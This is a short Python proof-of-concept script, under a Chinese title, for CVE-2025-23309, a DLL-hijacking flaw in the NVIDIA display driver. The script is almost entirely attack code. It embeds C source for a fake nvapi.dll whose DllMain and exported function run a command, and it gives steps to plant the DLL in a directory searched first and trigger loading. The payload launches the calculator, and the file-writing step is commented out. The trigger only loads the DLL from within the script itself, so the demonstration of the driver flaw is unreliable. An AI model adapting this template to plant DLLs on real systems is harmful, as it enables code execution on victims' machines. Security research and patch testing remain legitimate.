CVE-2025-23309 NVIDIA显卡驱动不安全DLL加载漏洞

# CVE-2025-23309 - NVIDIA Display Driver Uncontrolled DLL Loading PoC # This is a conceptual PoC demonstrating DLL hijacking technique import os import ctypes from ctypes import wintypes # Step 1: Identify the target DLL that NVIDIA Display Driver loads without full path # Common NVIDIA DLLs that may be vulnerable: nvapi.dll, nvml.dll, etc. TARGET_DLL = "nvapi.dll" MALICIOUS_DLL_NAME = "nvapi.dll" # Same name as legitimate DLL # Step 2: Create a malicious DLL payload (conceptual) # In a real attack, this would be compiled as a DLL with malicious export functions malicious_dll_code = f''' #include <windows.h> #include <stdio.h> // Export the same functions as the legitimate nvapi.dll extern "C" __declspec(dllexport) int NvAPI_Initialize() {{ // Malicious code executes here when the DLL is loaded system("calc.exe"); // Example: Launch calculator as proof of concept return 0; }} BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {{ if (reason == DLL_PROCESS_ATTACH) {{ // Execute malicious payload when DLL is loaded into the process MessageBoxA(NULL, "CVE-2025-23309 PoC - Malicious DLL Loaded!", "Exploit", MB_OK); }} return TRUE; }} ''' # Step 3: Place the malicious DLL in a directory that will be searched first def deploy_malicious_dll(target_directory): """ Deploy the malicious DLL to a directory that will be searched before the legitimate DLL location """ dll_path = os.path.join(target_directory, MALICIOUS_DLL_NAME) print(f"[*] Deploying malicious DLL to: {dll_path}") # In actual exploitation, write the compiled malicious DLL here # with open(dll_path, 'wb') as f: # f.write(compiled_malicious_dll_bytes) return dll_path # Step 4: Trigger the vulnerability by running an application that uses NVIDIA driver def trigger_vulnerability(): """ Trigger the DLL loading by running an application that uses the NVIDIA Display Driver """ print("[*] Triggering vulnerability...") # Load a library that will trigger the NVIDIA DLL loading try: # This will cause Windows to search for and load the malicious DLL ctypes.windll.LoadLibrary(TARGET_DLL) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Deploy and trigger target_dir = os.path.dirname(os.path.abspath(__file__)) deploy_malicious_dll(target_dir) trigger_vulnerability() print("[+] PoC execution completed")